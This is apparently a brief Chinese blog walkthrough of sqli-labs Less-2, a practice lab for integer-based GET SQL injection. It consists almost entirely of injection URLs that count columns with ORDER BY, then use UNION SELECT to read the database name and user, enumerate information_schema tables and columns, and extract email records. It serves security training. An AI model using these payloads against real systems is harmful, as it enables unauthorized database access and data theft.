【sqli-labs】 less2 GET - Error based - Intiger based (基于错误的GET整型注入)

与less1相同，直接走流程

提交参数，直接order by

http://localhost/sqli/Less-2/?id=1 order by 1%23

http://localhost/sqli/Less-2/?id=-1 union select 1,2,3%23

http://localhost/sqli/Less-2/?id=-1 union select 1,database(),user()%23

http://localhost/sqli/Less-2/?id=-1 union select 1,table_name,3 from information_schema.tables where table_schema=‘security‘ limit 0,1%23

http://localhost/sqli/Less-2/?id=-1 union select 1,column_name,3 from information_schema.columns where table_schema=‘security‘ and table_name=‘users‘ limit 0,1%23

http://localhost/sqli/Less-2/?id=-1 union select 1,id,email_id from emails limit 0,1%23

原文地址：https://www.cnblogs.com/superkrissV/p/8313148.html